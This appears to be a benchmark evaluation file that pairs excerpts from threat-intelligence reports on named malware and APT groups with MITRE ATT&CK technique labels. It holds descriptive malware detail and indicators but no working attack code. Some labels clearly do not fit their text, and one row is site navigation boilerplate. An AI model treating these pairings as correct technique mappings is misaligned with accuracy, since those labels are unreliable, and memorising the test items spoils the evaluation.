"While analysis of watchcat is still ongoing and we have yet to see an in-the-wild infection, it's clear that the rapid iteration of all these various Lazarus-related malware samples shows the actor is heavily invested in the macOS platform",['T1033 - System Owner/User Discovery'],eval_config
Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script. The compromised website used to host the DLL is different for every compromised network and includes websites of medical device manufacturers and IT service providers,['T1027 - Obfuscated Files or Information'],eval_config
"The droppers contain a variety of executables, all of these intended for spying on the victim. Below is an incomplete functionality list for the various Dtrack payload executables found",['T1057 - Process Discovery'],eval_config
The C2 channel uses HTTPS thanks to the INTERNET_FLAG_SECURE flag used when calling the HttpOpenRequestA function. The beacon HTTP request will look like the following,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"In a multiple server configuration, where the servers are configured in a Database Availability Group (DAG), Volexity has proven an attacker does not need to acquire a user’s domain SID to access their mailbox. The only information required is the e-mail address of the user they wish to target",['T1589.002 - Email Addresses'],eval_config
"In two recent campaigns, the attackers used newly created Blogspot domains as the initial landing page, which then redirected targets to credential phishing pages. All known attacker-controlled Blogspot domains have been taken down",['T1583.006 - Web Services'],eval_config
"When calling the APIs, the main executable will drop the component file %User Temp%/ns{5 random characters}.tmp/System.dll. The main executable will then load the dynamic-link library (DLL) file, which has the export function “Call” used to call for the APIs",['T1129 - Server Software Component'],eval_config
"tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path. The malware proceeds to identify the file path of either the common startup folder, or the user’s startup folder depending on if the SeDebugPrivilege privilege was obtained. In the event this privilege was obtained, the common startup folder is queried by reading the following registry key","['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",eval_config
"Developed in Python: Xbash was developed using Python and then converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Targets IP addresses and Domain Names: Modern Linux malware such as Mirai or Gafgyt usually generate random IP addresses as scanning destinations. By contrast, Xbash fetches from its C2 servers both IP addresses and domain names for service probing and exploiting. Targets Windows and Linux: When exploiting vulnerable Redis service, Xbash will also figure out whether the service is running on Windows or not. Intranet Scanning Functionality: The Xbash authors have developed the new capability of scanning for vulnerable servers within enterprise intranet",['T1016 - System Network Configuration Discovery'],eval_config
"The other method used to execute the second stage in the victim’s system is DLL Hijacking. In this campaign, we have seen vmnat.exe, the legitimate VMware NAT service executable, abused for loading the malicious payload, although the group can use a number of legit executables in their attacks","['T1204.001 - Malicious Link', 'T1204.001 - Malicious Link', 'T1140 - Deobfuscate/Decode Files or Information', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",eval_config
"The Kazuar Trojan initially relies on its command and control channel to allow actors to interact with the compromised system and to exfiltrate data. Kazuar has the capabilities to use multiple protocols, such as HTTP, HTTPS, FTP or FTPS, determined by the prefixes of the hardcoded C2 URLs. So far, we have only observed HTTP used as the C2 protocol in our sample set. All of the known Kazuar C2 servers appear to be compromised WordPress blogs, suggesting that the threat group using Kazuar in attacks also locates and exploits vulnerable WordPress sites as part of their playbook","['T1008 - Fallback Channels', 'T1071.002 - File Transfer Protocols', 'T1102.002 - Bidirectional Communication', 'T1071.001 - Application Layer Protocol: Web Protocols']",eval_config
"These 2 techniques have also been previously used by this actor. Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the MMDeviceEnumerator class and will execute the payload","['T1027 - Obfuscated Files or Information', 'T1546.015 - Event Triggered Execution: Component Object Model Hijacking']",eval_config
"It collects open ports on the victim host by running the netstat command - It lists all the running processes - It lists available services on the system - It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant - If a USB key is connected on the system, the malware steals the file based on an extension list - It supports file encryption (AES with the key ""lolomycin2017"") - It collects information on the account (account type, description, domain name, full name, SID and status) - It checks if the system is a virtual machine with several techniques","['T1057 - Process Discovery', 'T1027 - Obfuscated Files or Information', 'T1016 - System Network Configuration Discovery', 'T1033 - System Owner/User Discovery', 'T1025 - Data from Removable Media']",eval_config
"As discussed in Part 1, QakBot is an eCrime banking trojan that has the potential to severely impact an organization’s ability to operate. QakBot has the ability to spread laterally throughout a network utilizing a worm-like functionality through brute forcing network shares, brute forcing Active Directory user group accounts or via server message block (SMB) exploitation","['T1110 - Brute Force', 'T1204.002 - User Execution: Malicious File', 'T1210 - Exploitation of Remote Services']",eval_config
"In addition to the numerous targeted attacks, Unit 42 discovered that the group also performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. Starting in February 2018, Palo Alto Networks Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom, Spain, Russia, and the United States. Additionally, during that time, members of Gorgon Group were also performing criminal operations against targets across the globe, often using shared infrastructure with their targeted attack operations. Also, interestingly, Gorgon Group has a diverse and active criminal element. RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks. Using numerous decoy documents and phishing emails, both styles of attacks lacked overall sophistication, but the effectiveness of this group and campaign cannot be denied",['T1588.002 - Tool'],eval_config
"File collection: Collect document files with the suffixes "".txt"", "".doc"" and "".xls"" in the network sharing directory",['T1083 - File and Directory Discovery'],eval_config
"In August 2018, Sednit’s operators deployed two new Zebrocy components, and since then we have seen an uptick in Zebrocy deployments. Zebrocy is a set of downloaders, droppers and backdoors; while downloaders and droppers are doing reconnaissance, backdoors implement persistence and spying activities against the target. These new components use a an unusual way to exfiltrate gathered information by using protocols related to mail services such as SMTP and POP3",['T1071.003 - Mail Protocols'],eval_config
"Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. Agent.btz file is not packed. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive. Posted by Sergei Shevchenko at Labels: Agent.btz Newer Post Older Post Home",['T1105 - Ingress Tool Transfer'],eval_config
The VBS code in this file (Figure 10) has the ability to recreate the whole chain and download the same ZIP archive,"['T1140 - Deobfuscate/Decode Files or Information', 'T1105 - Ingress Tool Transfer', 'T1102.003 - One-Way Communication']",eval_config
"TrickBot, Anchor, and Anchor_DNS typically use a separate C2 infrastructure. However, in some instances of this attack, there was C2 server overlap between these infrastructures. For example, the IP 23.95.97[.]59, which is hardcoded in an Anchor sample, has also served Anchor_DNS and TrickBot","['T1095 - Non-Application Layer Protocol', 'T1071.001 - Application Layer Protocol: Web Protocols']",eval_config
"Then, it downloads an additional file disguised as a JPG extension from the discord link. The downloaded file is reversed and takes the form of PE, and executes “Ylfwdwgmpilzyaph” method in the file in the memory","['T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading']",eval_config
"The malware has been known to proliferate through network shares, removable drives, or software vulnerabilities. The recent instances we have observed were spread through emails with malicious links. Clicking the link leads to the download of a zip containing a VBS file (detected as Trojan.VBS.QAKBOT.SM) that then downloads a malicious executable file (detected by Trend Micro as Backdoor.Win32.QBOT.SMTH","['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment']",eval_config
"We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
"EKANS, which was first observed in January 2020, has relatively basic ransomware behavior, as it primarily seeks to encrypt your files and display a ransom note when finished. Although EKANS is basic in terms of file encryption, it's worth mentioning that it does have some interesting functionalities that make it distinct from other ransomware strains. EKANS ransomware is written in Golang and includes a static “kill list” that will stop numerous antivirus and Industrial Control Systems (ICS) processes and services. After killing the processes, it then proceeds to delete shadow copies to disable any restoration capabilities. Like many ransomware malware families, EKANS attempts to also encrypt resources connected to the victim’s machine via the network",['T1490 - Inhibit System Recovery'],eval_config
One of the first modifications we witnessed in this new variant of BADNEWS is a new mutex that is created to ensure a single instance of BADNEWS is running at a given moment. This malware family used the new mutex ‘com_mycompany_apps_appname_new’. This variant of BADNEWS uses different filenames compared to previous versions. The following filenames are used by BADNEWS throughout its execution,['T1056.001 - Input Capture: Keylogging'],eval_config
"The link in both emails is a Google Docs link claiming to host a PDF file with a list of employees that have been terminated, as shown in Figure 3",['T1102 - Web Service'],eval_config
Of importance is the fact that Grandoreiro uses the same algorithm for decrypting its internal strings as Casbaneiro,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Another interesting piece of functionality is the ability to steal emails. These are later used by the attackers to send targeted emails to the victims, with the obtained information being used to lure victims into opening those emails","['T1005 - Data from Local System', 'T1114.001 - Email Collection: Local Email Collection']",eval_config
The PowerDuke backdoor boasts a pretty extensive list of features that allow the Dukes to examine and control a system. Volexity suspects the feature set that has been built into PowerDuke is an extension of their anti-VM capabilities in the initial dropper files. Several commands supported by PowerDuke facilitate getting information about the system,"['T1057 - Process Discovery', 'T1082 - System Information Discovery', 'T1083 - File and Directory Discovery']",eval_config
"We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1204.002 - User Execution: Malicious File', 'T1218.003 - Signed Binary Proxy Execution: CMSTP']",eval_config
The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command,['T1012 - Query Registry'],eval_config
"The file has three C2 URLs hardcoded into the file and communicates to these with HTTP POST multipart-form data boundary string. Like other HIDDEN COBRA malware, prtspool uses format strings to store data collected about the system and sends it to the C2s",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Find out all system information, including hardware being used and the exact version of your operating system, including security patches",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"The file “ml.dll” is a Taidoor loader. The file utilizes the export function called “MyStart” to decrypt and load “svchost.dll” (8CF683B7D181591B91E145985F32664C), which was identified as Taidoor malware. Taidoor is a traditional RAT. After the file is read into memory, the DLL uses a RC4 encryption algorithm to decrypt the contents of the file. The RC4 key used for decryption is, “ar1z7d6556sAyAXtUQc2”. After the loader has finished decrypting “svchost.dll”, the loader now has a decrypted version of Taidoor, which is a DLL. The loader then uses the API calls GetProcessHeap, GetProcAddress, and LoadLibrary to load the following DLLs, KERNEL32.dll, ADVAPI32.dll, and WS2_32.dll, which Taidoor will utilize. Next, the loader looks for the export “Start” in the Taidoor DLL and executes that function",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Logging keystrokes - Capturing audio from the computer’s microphone - Capturing screenshots - Capturing geolocation data - Taking photos from the computer’s web camera - Copying files to a remote server - Copying files to a special USB device if inserted - Hijjacking the clipboard and capturing information from the target machine,['T1125 - Video Capture'],eval_config
"This was a previously undiscovered RAT. It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],eval_config
"Netwire isn’t the only tool that uses this persistence mechanism: it has been used by Fysbis, Pupy, jRAT, and CrossRAT. In the case of Netwire, users can specify the name of the Autostart Entry and make it masquerade as something like a Linux system process if desired",['T1055.012 - Process Injection: Process Hollowing'],eval_config
"As shown above, some of the decoy URLs point to the domain name of the actual C2 (e.g. are known to the C2 as being decoy resources that serve no role in the regular C2 communication between GoldMax and its C2",['T1573.002 - Asymmetric Cryptography'],eval_config
"A review of samples of this phishing campaign shows that the attackers concentrated their attacks on individuals’ online accounts, especially personal emails (Gmail, Yahoo. and Outlook) and business emails (organization and university emails). After accessing the credential details of the accounts, they steal sensitive data from their victims",['T1114 - Email Collection'],eval_config
The iContact binary appears to be a backdoor that gathers user and locale data and engages in encrypted communications with a C2 server over TCP,"['T1033 - System Owner/User Discovery', 'T1573 - Encrypted Channel']",eval_config
"Since 2013, just prior to Russia’s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group","['T1204.002 - User Execution: Malicious File', 'T1083 - File and Directory Discovery']",eval_config
"When we sum up the entire architecture of Guloader, we observe several stages and key features: 1) The malware initially come wrapped with a VB layer 2) After the VB part ends, the entire malware activity is executed by a shellcode. 5) The second shellcode downloads further malware",['T1105 - Ingress Tool Transfer'],eval_config
"In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. We have observed the code evolving with the different publications but also with the evolution of Microsoft Windows. However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"The file goopdate.dll has the hidden file attribute set and will not show in Windows Explorer on systems using default settings. Goopdate.dll is a highly obfuscated loader whose ultimate purpose is to load a Cobalt Strike stager into memory and then execute it. The Cobalt Strike stager will simply try to download and execute a shellcode from a remote server, in this case using the following URL",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload. It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful. The payload will construct a message that has the following structure that it will then send to the C2: bye&lt;char uuid[35]&gt;d The message above is sent via a simple HTTPS/HTTP POST request to the C2 server. If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries: ns1. The executable obtains an embedded PowerShell script, decrypts it using RC4, then decompresses it using ZLIB, and saves the cleartext to C:\Users\&lt;username&gt;\AppData\Roaming\Out.jpg",['T1071.004 - Application Layer Protocol: DNS'],eval_config
"In furtherance of the APT10 Group’s intrusion campaigns, Zhu and Zhang, among other things, worked for Huaying Haitai and registered malicious domains and infrastructure",['T1583.001 - Domains'],eval_config
Svchast.exe – This is the shellcode loader binary that spoofs the name of a legitimate Windows binary called svchost.exe,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1036.004 - Masquerading: Masquerade Task or Service']",eval_config
"The Docker Hub account of MegawebMaster has numerous public images, five of which have TeamTNT utilities with a significant amount of downloads. These five images include dockgeddon, docker, tornadopw, and dcounter (T1204.003",['T1608.001 - Upload Malware'],eval_config
"While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. Cisco Talos recently discovered several new campaigns distributing the infamous banking trojan via email. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list. This could allow attackers to deliver more emails to users' inboxes without any pushback from spam filters","['T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link']",eval_config
"The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family, which we analyzed in this report",['T1125 - Video Capture'],eval_config
"This time, the text is from the novel ""The Brothers Karamazov"" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. The most notable change is the protocol used to download and upload files","['T1027 - Obfuscated Files or Information', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",eval_config
"The malware uses Pastebin for Command and Control (C2). The URL “https://pastebin[.]com/HWBVXK6H” is used to check for the latest version of the malware. If a new version is available, the malware reaches out to “https://pastebin[.]com/yPRSa0ki”. The paste shown below serves as a redirect to the actual setup stript","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1102.001 - Dead Drop Resolver']",eval_config
"If it is running on an infected machine for the first time (depending on whether a flag file exists), it sends a POST packet to its command-and-control (C&amp;C) server informing it that a machine has been infected",['T1083 - File and Directory Discovery'],eval_config
The targeting of insurance and retail organizations is peculiar as it does not fit with this threat groups prior target set. The email subject and attachment file names used in the attacks on these seemingly atypical targets were similar in theme as those used when attacking government organizations. The lack of industry or target specific social engineering themes likely lowers the chances of a successful compromise and further confuses our understanding of the purpose of attacking these organizations,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"Note- Guloader heavily uses time checks and other traditional anti-analysis techniques. Therefore, to save time, in this analysis I will use the ScyllaHide plugin. Also, several of the Guloader’s anti-analysis techniques are impossible to evade without manual intervention",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
"SDBbot RAT has been observed in Hive0065 attacks since at least September 2019 and has been used primarily as a secondary payload. This malware features remote-access capabilities, accepts commands from a C&amp;C server such as video recording, and has the ability to exfiltrate data from the victimized devices and networks","['T1140 - Deobfuscate/Decode Files or Information', 'T1125 - Video Capture']",eval_config
"Upon execution, the document used template injection to download the next stage RTF exploit that downloaded the final stage Warzone payload using a DLL embedded in the RTF exploit","['T1221 - Template Injection', 'T1221 - Template Injection']",eval_config
"Philadelphia ransomware has been circulating since September 2016. It first attracted our attention in April of this year [12] when we observed an actor customizing the malware for use in highly targeted campaigns. In a brief stint, TA505 distributed it in one large campaign in July, but we have not seen them use it since",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"The APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug (CVE-2019-19781) and a Microsoft Exchange remote code execution flaw (CVE-2020-0688","['T1190 - Exploit Public-Facing Application', 'T1595.002 - Vulnerability Scanning']",eval_config
"MCMD provides the threat actor with a reverse command shell, which facilitates the execution of arbitrary commands on the impacted device, as well as the ability to upload and download additional files. In all observed cases, MCMD utilizes PHP pages on compromised websites for command and control (C2) capability",['T1105 - Ingress Tool Transfer'],eval_config
"A new service is then created using the service parser function ProcessScCommand. ZxShell implemented its own version of the Windows SC command. There are minor differences between the ZxShell implementation of this command and the original Windows one, but they are irrelevant for the purpose of the analysis The command used to install the service is","['T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service']",eval_config
Installs itself as a Windows service - Sets a specific keyword for communication - Exchanges messages and commands with the kernel driver - Performs backdoor functions,['T1569.002 - System Services: Service Execution'],eval_config
"Executing the browser from any other Chrome shortcut link will start and run it normally without the malicious extension, canceling out the malware’s ability to control what the victim does",['T1204.001 - Malicious Link'],eval_config
Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN). Discord’s CDN is a user-created service that allows users to host attachments and is not malicious,['T1105 - Ingress Tool Transfer'],eval_config
Home - - Cloud security - Frontline workers - Identity &amp; access - Information protection &amp; governance - Ransomware - Secure remote work - Risk management - SIEM &amp; XDR - Small &amp; medium business - Zero Trust - - - Microsoft Defender - Microsoft Entra - Microsoft Purview - Identity &amp; access Identity &amp; access Azure Active Directory part of Microsoft Entra Microsoft Entra Permissions Management Microsoft Entra Verified ID Azure Key Vault - Azure Active Directory part of Microsoft Entra - Microsoft Entra Permissions Management - Microsoft Entra Verified ID - Azure Key Vault - - Microsoft Sentinel - Microsoft Defender for Cloud - Microsoft 365 Defender - Microsoft Defender for Endpoint - Microsoft Defender for Office 365 - Microsoft Defender for Identity - Microsoft Defender for Cloud Apps - Microsoft Defender Vulnerability Management - - Microsoft Defender for Cloud - Azure Firewall - Azure Web App Firewall - Azure DDoS Protection - GitHub Advanced Security - - Microsoft 365 Defender - Microsoft Defender for Endpoint - Microsoft Defender for IoT - Microsoft Defender for Business - Microsoft Defender Vulnerability Management - Risk management &amp; privacy Risk management &amp; privacy Microsoft Purview Insider Risk Management Microsoft Purview Communication Compliance Microsoft Purview eDiscovery Microsoft Purview Compliance Manager Microsoft Priva Risk Management - Microsoft Purview Insider Risk Management - Microsoft Purview Communication Compliance - Microsoft Purview eDiscovery - Microsoft Purview Compliance Manager - Microsoft Priva Risk Management - Information protection Information protection Microsoft Purview Information Protection Microsoft Purview Data Lifecycle Management Microsoft Purview Data Loss Prevention - Microsoft Purview Information Protection - Microsoft Purview Data Lifecycle Management - Microsoft Purview Data Loss Prevention - Device management Device management Microsoft Endpoint Manager - Microsoft Endpoint Manager - Services Microsoft Security Experts Microsoft Defender Experts for Hunting Microsoft Security Services for Enterprise Microsoft Security Services for Incident Response Microsoft Security Services for Modernization - Microsoft Security Experts - Microsoft Defender Experts for Hunting - Microsoft Security Services for Enterprise - Microsoft Security Services for Incident Response - Microsoft Security Services for Modernization - Partners - - - Customer stories - Security 101 - Product trials - How we protect Microsoft - Reports and analysis Reports and analysis Microsoft Security Insider Microsoft Digital Defense Report Security Response Center - Microsoft Security Insider - Microsoft Digital Defense Report - Security Response Center - - Microsoft Security Blog - Microsoft Security Events - Microsoft Tech Community - - Documentation - Technical Content Library - Training &amp; certifications - - Compliance Program for Microsoft Cloud - Microsoft Trust Center - Security Engineering Portal - Service Trust Portal - Contact sales - More - Start free trial,"['T1555 - Credentials from Password Stores', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",eval_config
"INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
NetUser - provides more information about the user - SystemUpTime - records the amount of time the machine is running - WindowsVersion - determines the Windows version,['T1082 - System Information Discovery'],eval_config
"The signed Plead malware samples are highly obfuscated with junk code, but the purpose of the malware is similar in all samples: it downloads from a remote server or opens from the local disk a small encrypted binary blob. This binary blob contains encrypted shellcode, which downloads the final Plead backdoor module",['T1001.001 - Junk Data'],eval_config
Persistence is established via the HKCUSoftwareMicrosoftWindowsCurrentVersionRun key value for wdm set to the path of the executable. Previous samples have set persistence via Run key values for 360v,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server",['T1568.002 - Domain Generation Algorithms'],eval_config
"DarkWatchman includes a feature complete C# keylogger that is dropped alongside the RAT in text format. The keylogger is provided as C# code and compiled during runtime from a Base64 PowerShell command stored in the registry. The keylogger code itself is obfuscated, with both function and variable names being randomized. However, there is no other obfuscation – no redundant logic or unnecessary functions – which leaves the entire compiled keylogger at 8.5kb",['T1010 - Application Window Discovery'],eval_config
"This tool has been used by a few groups since at least 2012 based upon PEBuildDates). However this sample is a bit more interesting. Normally HTTPBrowser sends traffic over HTTP using a user-agent of HTTPBrowser/1.0. This sample uses DNS as a covert channel for communications. Specifically this sample utilizes DNS TXT records with 9 uppercase letters followed by a number and 7 more uppercase letters, then the C2 domain used. The other samples use the C2 domains of local.it-desktop.com and hi.getgo2.com",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"1) Wscript makes subsequent DNS requests for a Stage Two payload 2) ‘Rundll32.exe -&gt; PicturesViewer.dll, DllRegisterServer,’ allowing for C2 communication 3) MSIExec, spawning multiple Cmd.exe processes and Explorer injection 4) Commands run by the C2","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1218.007 - Signed Binary Proxy Execution: Msiexec']",eval_config
"When G-Data published their Turla paper, there were few details publicly available on how victims get infected with this malware campaign. Our analysis indicates this is a sophisticated multi-stage infection; which begins with Epic Turla. This is used to gain a foothold and validate the high profile victim. If the victim is interesting, they get upgraded to the Turla Carbon system","['T1124 - System Time Discovery', 'T1016 - System Network Configuration Discovery']",eval_config
"In March 2020, an additional version of the AppleJeus malware was identified. The download page has release notes with version revisions claiming to start with version 1.0.0, released on April 15, 2019",['T1587.001 - Malware'],eval_config
"Adding itself to startup is a classic technique for macOS, and is done by creating a .plist file in the /Library/LaunchAgents/ folder with a link to the malware",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
The group has used Twitter accounts to find and monitor its targets to prepare well crafted spear phishing emails. The group also is using Gmail accounts to use for phishing attacks or registering domains. One of the Gmail accounts used by this actor is ” tjkim1991@gmail[.]com” which was used to register the following domains,"['T1583.001 - Domains', 'T1593.001 - Social Media']",eval_config
"During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software. They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
"Talos has found a new set of malicious blogs operated by Kimsuky delivering three previously unknown preliminary components: an initial beacon script, a file exfiltrator and an implant instrumentor. One of these components, the implant instrumentor, delivered an additional three types of malware","['T1105 - Ingress Tool Transfer', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",eval_config
"REvil checks for command-line switches passed to the executable when it was launched. The analyzed sample supports a single command-line switch: -nolan. By default, REvil encrypts the contents of local fixed hard drives and network-attached shares. If the -nolan command-line switch is passed when the binary is launched, REvil ignores network-connected resources",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Masquerading - T1036 Phishing - T1566 Remote Access Software - T1219 Spearphishing Attachment - T1566.001 Spearphishing Link - T1566.002 User Execution - T1204 User Execution: Malicious File - T1204.002,['T1204.002 - User Execution: Malicious File'],eval_config
"Innovate and modify the code that accomplishes the installation, while the backdoor code remains more static - Use scripting languages such as JavaScript, JavaScript Scriptlets, VBScript, and XML - Use simple obfuscation such as base64, gzip compression, and insertion of garbage characters - Split functionality of the backdoor &amp; code that establishes persistence for the backdoor into separate files and scripts","['T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027 - Obfuscated Files or Information']",eval_config
"While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&amp;C server. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript",['T1020 - Automated Exfiltration'],eval_config
Warzone bypasses UAC (User Account Control) to disarm Windows Defender and puts itself into the list of startup programs,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
"It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost",['T1620 - Reflective Code Loading'],eval_config
"Each value of the config is written to the registry after encrypting them using the DES algorithm. A new registry key is created under HKEY_CURRENT_USER\Software\Classes\ using either the SystemProductName value from the HARDWARE\DESCRIPTION\System\BIOS key or the hardcoded string “68A-D3H-B1111 as a name. Additionally, a hardcoded string -HjDWr6vsJqfYb89mxxxx is appended to the name",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"Development of UBoatRAT At the time of this writing, we have identified fourteen samples of UBoatRAT and one downloader associated with the attacks. Most of UBoatRAT samples retrieve C2 address from GitHub as described above. Only one sample released in May connected to public blog service in Hong Kong and compromised legitimate web server in Japan as C2. The sample uses regular HTTP protocol for communication. The account for the blog, 'elsa_kr' has existed since April 2016 and has no meaningful contents at this moment","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1102.002 - Bidirectional Communication']",eval_config
"When the Excel document is opened, two executables (utilman.exe and mpsvc.dll) will be dropped at folder %AppData%MicrosoftCorporation. A shortcut for utilman.exe is then created at the startup folder so that the dropped files execute during the next reboot of the machine and communicate with a command and control (C2",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
